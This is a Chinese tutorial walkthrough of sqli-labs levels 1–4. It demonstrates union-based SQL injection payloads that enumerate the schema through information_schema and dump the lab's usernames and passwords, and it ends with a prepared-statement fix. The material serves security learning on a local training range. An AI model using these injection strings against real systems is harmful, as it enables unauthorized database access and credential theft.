SQL-lab靶场less1-4

说明:部分内容来源于网络,如有侵权联系删除

前情提要:搭建sql-lab本地靶场的时候发现一些致命的报错:

这个程序只能在php 5.x上运行,在php 7及更高版本上,函数“mysql_query”和一些相关函数被删除,而不是“mysqli_query”。某些函数中的“MySQL”被替换为“MySQLi

其中一个原因就是旧版的靶场PHP环境是5.0版本的,而目前小皮面板更新到了8.0版本,配套的PHP环境是7.0。那么解决思路就两种,1:给sql-lab的PHP升级;2:小皮面板改成5.0版本的PHP环境。这里选择第一种解决方案

参考博客:

关于搭建SqliLabs中遇到的问题-CSDN博客

phpstudy v8.1在php7以上版本安装sqli-labs相关配置过程-CSDN博客

数据库结构简单小结:

mysql数据库5.0以上版本有一个自带的数据库叫做information_schema

该数据库下面有两个表一个是tables和columns

tables这个表的table_name字段下面是所有数据库存在的表名

table_schema字段下是所有表名对应的数据库名

columns这个表的colum_name字段下是所有数据库存在的字段名

columns_schema字段下是所有表名对应的数据库

常见语句记忆:

information_schema

表示所有信息,包括库、表、列

information_schema.tables

记录所有表名信息的表

information_schema.columns

记录所有列名信息的表

table_schema

数据库的名称

table_name

表名

column_name

列名

group_concat()

显示所有查询到的数据

Less-1 **Error Based- String** 基于字符串的报错注入

根据页面显示,提示我们搭配id传一个值

Please input the ID as parameter with numeric value

输入?id=1 回显

输入?id=2时,页面内容改变

说明这个网站应该会通过id参数进行数据库查询,也就是说id只是一个将1传入数据库的”媒介“,数据库真正需要处理的是1。

那么数据库能够处理的究竟是字符串1还是整数1,这是一个有待验证的问题。测试:?id=1'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

报错警告我们语法有问题

双引号不报错,那就是单引号的存在使原本SQL语句包裹id=1的单引号没有闭合,破坏了查询语句结构。还知道了一点:错误出现在第1行的末尾,即在“1”LIMIT 0,1'附近。相当于提示我们原有的SQL语句的组成,可以推测一下:

SELECT * FROM users WHERE () LIMIT 0,1;

WHERE子句:WHERE子句用于过滤记录,必须在其后面提供一个条件表达式。例如,WHERE id = 1。

LIMIT子句:LIMIT 1表示只返回结果集中的第一行数据。

使用注释符,测试:?id=1' --+ 。没有发生报错,正是因为注释了后面的LIMIT 0,1;

知道了基本注入方式,就可以通过其他操作符得到我想要的信息了

1,order by查询当前数据表有多少列 ?id=1 ' order by 1,2,3 --+

正常回显没有报错

2,增加猜测列数:?id=1 'order by 1,2,3,4 --+

Unknown column '4' in 'order clause'

发生报错,第4列不存在,但是第3列能正常回显,说明数据表有三列

接下来就需要判断回显点(回显点是指SQL查询结果显示在页面上的位置,有回显点的SQL注入叫做回显点注入。通过回显点,攻击者可以观察到SQL查询的结果,从而推断出数据库的结构和内容),而很明显该靶场存在两个回显点。那么还要分别表格哪一列在页面显示的

?id=-1'union select 1,2,3--+

  1. ?id=-1:这部分看起来像是试图将一个查询参数设置为 -1,这通常是SQL注入攻击中的一种常见技巧,用于绕过原始查询的条件。
  2. 'union select 1,2,3--+:这部分是典型的联合查询语法。union 关键字用于合并两个或多个 SELECT 语句的结果集。select 1,2,3 是一个简单的示例查询,它选择常数列 1, 2, 和 3

语句要求回显1,2,3列,结果回显了2,3。说明第二列和第三列的数据是回显点。

通过函数查询数据库名和版本号:

?id=-1'union select 1,database(),version()--+

通过group_concat()函数爆出表名

GROUP_CONCAT() 是 MySQL 中的一个聚合函数,用于将分组中的字符串值连接成一个单一的字符串

GROUP_CONCAT([DISTINCT] expr [ORDER BY {unsigned_integer | col_name | expr} [ASC | DESC] [, ...]] [SEPARATOR str_val])

  • DISTINCT:可选参数,用于去除结果中的重复值。
  • expr:要连接的列或表达式。
  • ORDER BY:可选参数,用于指定连接顺序。
  • SEPARATOR:可选参数,用于指定连接字符串之间的分隔符,默认为逗号 ,

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

  • group_concat(table_name) 将查询到的 information_schema.tables 表中的 table_name 字段的值进行连接。这里的 information_schema 是MySQL自带的信息数据库,其中的 tables 表存储了数据库的库名以及各个数据库中的表名
  • 整个语句将筛选出名为 security 的数据库中的所有表名

结果:emails,referers,uagents,users

爆破字段名:

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

  • information_schema.columns 表,这个表存储了数据库中各个表的列信息

爆破结果:CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password

可以看到成功爆出来username,password字段

爆破出username,password的数据:

?id=-1' union select 1,group_concat(username),group_concat(password) from users--+

name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4

Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

源码:SELECT * FROM users WHERE id='$id' LIMIT 0,1

Less-2 **Error Based- Intiger** 基于整数的报错注入

1,还是搭配id传一个值

由此确定页面正常回显的的标志,再判断整数还是字符串型注入:?id=1'

看到报错,再加双引号测试:?id=1"

仍然报错,说明原本的查询语句没有单双引号闭合,处理参数1数值类型是整数,是整数型注入

2,order by操作符判断数据表有几列:?id=1 order by 1,2,3 --+

?id=1 order by 1,2,3,4 --+

可以判断出该时间表有3列

3,接下来通过union判断回显点,?id=-1 union select 1,2,3 --+

由此得知回显点仅存在于查询的第2,3列上

4,使用操作符和函数爆出数据库名:

?id=-1 union select 1,2,database()--+

数据库名:security,group_concat()函数security所有数据表名:

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

爆出users数据表所有的列名:

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()--+

最后就可以输出username,password信息了:

?id=-1 union select 1,group_concat(username),group_concat(password) from users--+

YourLogin :name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4

Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

源码分析:SELECT * FROM users WHERE id=$id LIMIT 0,1

  • 构造了一个SQL查询语句SELECT * FROM users WHERE id=$id LIMIT 0,1;,用于从users表中根据id查询一条记录。
  • 使用mysqli_query执行查询,并将结果存储在$result中

查询语句和less1其实差不多,少了单引号对id的闭合包裹

WHERE id=-1: 这是一个条件子句,指定了只有当ID列的值等于-1时,对应的记录才会被选中。原数据表根本没有id=-1的序列,所以后续攻击语句都是?id=-1作为开头

SQL中的ID概念

在SQL(Structured Query Language)中,ID通常指的是数据库表中的一个特殊类型的列,用于唯一标识表中的每一行记录。这种列也被称为主键(Primary Key)。主键的主要目的是确保表中的每一行都可以被唯一地识别和访问。在设计数据库时,选择一个合适的ID字段对于数据的管理和检索至关重要3

ID的特性

ID字段通常具有以下特性:

  1. 唯一性:每个ID值必须是唯一的,以确保每行记录都能被准确无误地找到。
  2. 不可变性:一旦分配给某一行,ID值不应该改变,因为这可能会导致与其他依赖于该ID的数据库操作产生冲突。
  3. 顺序性:虽然不是必需的,但在某些情况下,ID值可能是按某种顺序(如递增)分配的,这有助于维护数据的时间顺序或逻辑顺序。

ID的常见用途

ID字段在数据库操作中有着广泛的应用,包括但不限于:

  • 关联数据:通过ID,可以在不同的表之间建立关系,实现数据的关联查询。例如,一个订单表可能有一个产品ID字段,用于关联到产品表中的具体产品记录。
  • 数据检索:可以通过ID快速定位和检索特定的记录。例如,SELECT * FROM users WHERE id = 1 这样的SQL语句可以用来获取ID为1的用户信息。
  • 更新和删除:ID也是更新或删除特定记录时的关键依据。例如,DELETE FROM users WHERE id = 1 可以用来删除ID为1的用户记录。

自动增长ID

在许多现代数据库系统中,支持为ID字段设置自动增长属性。这意味着每当新记录插入到表中时,数据库会自动为该记录分配一个新的、唯一的ID值。这通常通过数据库内部的计数器机制实现。例如,在MySQL中,可以使用AUTO_INCREMENT关键字来定义自动增长的ID字段6

Less-3 Error Based- String (with Twist)基于字符串的报错注入(转义)

1,第一步还是判断什么类型的注入:?id=1

能够正常回显,再测试:?id=1'  产生报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

再测试:?id=1" 能够正常回显。说明单引号会破坏查询语句原有单引号的闭合结构,可以断定这是一个字符型注入

2,order by判断当前数据表的列数:?id=1') order by 1,2,3--+

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 1,2,3-- ') LIMIT 0,1' at line 1

还是发生了报错,通过报错信息我们知道了真正的闭合方式是')。修改payload:

?id=1') order by 1,2,3--+ 正常回显

依次递归判断:?id=1') order by 1,2,3,4--+

报错说不存在第4列,那么数据表就只有3列

3,union操作符判断注入点:?id=-1') union select 1,2,3--+

回显还是2,3列

4,爆破数据库名:?id=-1') union select 1,2,database()--+

Your Password:security

配合group_concat()函数爆破出当前数据库所有数据表名:

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema =database()--+

查看users数据表里面的所有列名:

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()--+

最后再爆出用户名和密码:

?id=-1') union select 1,group_concat(username),group_concat(password) from users--+

Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4

Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

源码分析:SELECT * FROM users WHERE id=('$id') LIMIT 0,1

其实和less1的查询语句是一样的,只不过多了括号闭合

Less-4 Error Based- DoubleQuotes String

基于双引号的报错注入

1,id传一个值判断注入类型:?id=1'

正常回显页面,再拼接双引号传入一个值:?id=1"

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

发生报错,说明双引号会破坏原有查询语句的结构,由此判断注入类型是双引号,而参数又需要使用引号包裹,所以是字符串类型。还有一点,根据报错提示,推断正确的闭合方式应该是:("")

2,order by判断有该数据表有多少列,先猜测三列

?id=1") order by 1,2,3--+

回显是正常的,证明至少有三列,再判断是否有四列:?id=1") order by 1,2,3,4--+

发生报错,推断数据表只有3列

3,union判断回显点:?id=-1") union select 1,2,3--+

只会回显点是2,3列

4,爆破数据库名:?id=-1") union select 1,2,database()--+

爆破出数据表名:?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

爆破users表所有列名:?id=1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and

table_schema=database()--+

再爆破出所有的用户名和密码:?id=-1") union select 1,group_concat(username),group_concat(password) from users--+

Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4

Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

select * from user where id=1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()--+

select * from user where id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()--+

输出结果的区别

查询目的:这两个SQL查询的目的是利用SQL注入技术来获取数据库中users表的列名信息。

查询结构:两个查询都使用了UNION操作符来合并两个SELECT语句的结果集。第一个查询的条件是id=1,而第二个查询的条件是id=-1。

输出结果的区别

  1. 第一个查询 (id=1):
    • 如果user表中存在id=1的记录,那么查询会首先返回该记录。
    • 然后,UNION操作符会将第二个SELECT语句的结果(即从information_schema.columns 表中获取的列名信息)追加到结果集中。
    • 最终输出结果将包含user表中id=1的记录以及users表的列名信息。
  2. 第二个查询 (id=-1):
    • 由于user表中通常不会有id=-1的记录,第一个SELECT语句将不会返回任何记录。
    • 因此,UNION操作符的结果将仅包含第二个SELECT语句的结果,即users表的列名信息。
    • 最终输出结果将只包含users表的列名信息。

分析源码:

$id = '"' . $id . '"';

这行代码的作用是将 $id 变量的值用双引号包裹起来。例如,如果 $id 的值是 123,那么执行这行代码后,$id 的值将变为 "123"

"SELECT * FROM users WHERE id=($id) LIMIT 0,1";

本质上less1,2,3,4的查询语句是一样的,无非是对传入参数的闭合拼接方式不同

改进建议:

  1. 使用预处理语句: 为了防止SQL注入,建议使用预处理语句(Prepared Statements)。例如:
    $stmt = $pdo->prepare('SELECT * FROM users WHERE id = ? LIMIT 0,1');
    $stmt->execute([$id]);
  2. 简化字符串操作: 如果确实需要将 $id 用双引号包裹起来,可以考虑在SQL查询中直接使用双引号,而不是在PHP代码中进行字符串拼接。例如:
    $sql = "SELECT * FROM users WHERE id=\"$id\" LIMIT 0,1";

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/726.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

Golang | Leetcode Golang题解之第535题TinyURL的加密与解密

题目: 题解: import "math/rand"type Codec map[int]stringfunc Constructor() Codec {return Codec{} }func (c Codec) encode(longUrl string) string {for {key : rand.Int()if c[key] "" {c[key] longUrlreturn "http:/…

使用 Elasticsearch 进行语义搜索

Elasticsearch 是一款功能强大的开源搜索引擎,可用于全文搜索、分析和数据可视化。传统上,Elasticsearch 以其执行基于关键字/词汇的搜索的能力而闻名,其中文档基于精确或部分关键字匹配进行匹配。然而,Elasticsearch 已经发展到支…

计算机毕业设计Python+大模型新闻自动分类 新闻舆情预测 新闻语料情感分析 新闻推荐系统 朴素贝叶斯分类算法 机器学习 深度学习

温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 作者简介:Java领…

【097】基于SpringBoot+Vue实现的个人社区博客管理系统

系统介绍 演示视频 小白博客2.0(SpringbootVue)源码数据库讲解视频设计文档 基于SpringBootVue实现的小白博客2.0系统设计了超级管理员、系统观察者、用户三种角色,超级管理员可对用户授权,具体实现的功能如下 文章采用了比较火的Markdown编…

LM Head weights;ChatGPT-3词汇量:175,000;llama7b 词汇量,词嵌入维度:4096

目录 LM Head weights ChatGPT-3词汇量:175,000 llama7b 词汇量 词汇量:32000 max_position_embeddings: 4096 LM Head weights ChatGPT-3词汇量:175,000 ChatGPT-4 确切的词向量种类数量公开信息。但可以根据一些语言模型的相关知识进行推测分析。 一般来说,语言模…

ArcGIS005:ArcMap常用操作101-150例动图演示

摘要:本文涵盖了GIS软件操作的多方面内容,包括地图文档的新建、打开、保存及版本兼容性处理;错误与警告的查阅及帮助文档的使用技巧;地图打印比例尺的调整与地图信息的完善;图层操作的撤销与恢复,界面元素的…

Chrome和夸克谁更护眼

在当今数字化时代,我们每天长时间面对电脑和手机屏幕,眼睛的健康问题变得越来越重要。浏览器作为我们日常使用频率极高的工具,其护眼功能的优劣直接影响到我们的视觉舒适度。本文将对Chrome和夸克两款主流浏览器进行对比,探讨它们…

WPF+MVVM案例实战(十二)- 3D数字翻牌计时实现

文章目录 1、运行效果2、功能实现1、文件创建2、控件代码实现3、控件引用与菜单实现1.引用用户控件2.按钮菜单3、计时器界面实现4、源代码获取1、运行效果 3D数字翻牌计时 2、功能实现 1、文件创建 打开项目 Wpf_Examples ,在用户控件 UserControlLib 中创建 NumberFoldi…

一、计算机网络概述,《计算机网络(自顶向下方法 第7版,James F.Kurose,Keith W.Ross)》

文章目录 [toc]零、前言一、什么是Internet1.1 从具体构成角度1.2 什么是协议1.3 从服务角度1.4 网络结构 二、网络边缘2.1 通讯模式2.2 采用网络设施的面向连接服务2.3 采用基础设施的无连接服务 三、网络核心3.1 认识网络核心3.2 网络核心:电路交换3.2.1 基本原理…

闯关leetcode——234. Palindrome Linked List

大纲 题目地址内容 解题代码地址 题目 地址 https://leetcode.com/problems/palindrome-linked-list/description/ 内容 Given the head of a singly linked list, return true if it is a palindrome or false otherwise. Example 1: Input: head [1,2,2,1] Output: tru…

K8S自建企业私有云方案 单台起配 NVMe全闪存储性能

作为老牌存储硬件厂商,Infortrend这回开了一把大的。在一套设备系统里,将计算节点、存储与Kubernetes结合,打造出EonStor KS IEC(Infortrend企业云),将硬件与软件、前端与后端、上层与底层统一融合在一套系…

Rust 力扣 - 73. 矩阵置零

文章目录 题目描述题解思路题解代码题目链接 题目描述 题解思路 我们使用两个变量记录矩阵初始状态的第一行与第一列是否存在0 然后我们遍历矩阵(跳过第一行与第一列),如果矩阵中元素为0则将该元素映射到矩阵第一行与矩阵第一列的位置置为0…

6款IntelliJ IDEA插件,让Spring和Java开发如虎添翼

文章目录 1、SonarLint2、JRebel for IntelliJ3、SwaggerHub插件4、Lombok插件5、RestfulTool插件6、 Json2Pojo插件7、结论 对于任何Spring Boot开发者来说,两个首要的目标是最大限度地提高工作效率和确保高质量代码。IntelliJ IDEA 是目前最广泛使用的集成开发环境…

Node.js:ES6 模块化 Promise

Node.js:ES6 模块化 & Promise ES6 模块化默认导入导出按需导入导出 Promise构造状态thencacheallraceasyncawait ES6 模块化 在Node.js中,遵循的是CommonJS的模块化规范,使用require方法导入模块,使用moudule.exports导出模…

利用STM32控制3D打印机时优化打印精度的教学

引言 在3D打印的过程中,打印精度直接影响到最终产品的质量与性能。STM32作为一种强大的微控制器,广泛应用于3D打印机的控制系统中。本文将介绍如何利用STM32控制3D打印机,并提供优化打印精度的具体方法,包括环境准备、代码示例、常…

基于 MATLAB的混沌序列图像加密算法的研究

一、设计目的及意义 3 二、研究现状 3 三、设计内容 3 四、开发环境 3 五、分析设计 3 1、设计要求 3 2、设计原理 3 3、涉及到的程序代码 ........................................... 4 4、主要思想 6 六、 果及分析 6 1、运行示例 6 2、 果 估 8 七、参考文献 9 八 、 研 究…

了解密钥推导函数KDF-HMAC-SHA-256

引言 在现代密码学中,密钥推导函数(KDF,Key Derivation Functions)扮演着至关重要的角色。它们允许从主密钥或密码生成一个或多个固定长度的密钥,用于各种加密操作。KDF的设计目标是确保从同一主密钥生成的多个密钥在统…

什么是数字签名技术?

信息安全五要素 名称说明机密性机密性是指网络信息不泄露给非授权的用户、实体或程序,能够防止非授权者获取信息完整性完整性是指网络信息或系统未经授权不能进行更改的特性可用性可用性是指合法许可的用户能够及时获取网络信息或服务的特性可控性可控性是指可以控…

clickhouse运维篇(三):生产环境一键生成配置并快速部署ck集群

前提条件:先了解集群搭建流程是什么样,需要改哪些配置,有哪些环境,这个文章目的是简化部署。 clickhouse运维篇(一):docker-compose 快速部署clickhouse集群 clickhouse运维篇(二&am…

Hms?: 1渗透测试

靶机:Hms?: 1 Hms?: 1 ~ VulnHub 攻击机:kail linux 2024 主机扫描阶段发现不了靶机,所以需要按DriftingBlues2一样手动配置网卡 1,将两台虚拟机网络连接都改为NAT模式,并查看靶机的MAC地址 2,攻击机上做主机扫描发现…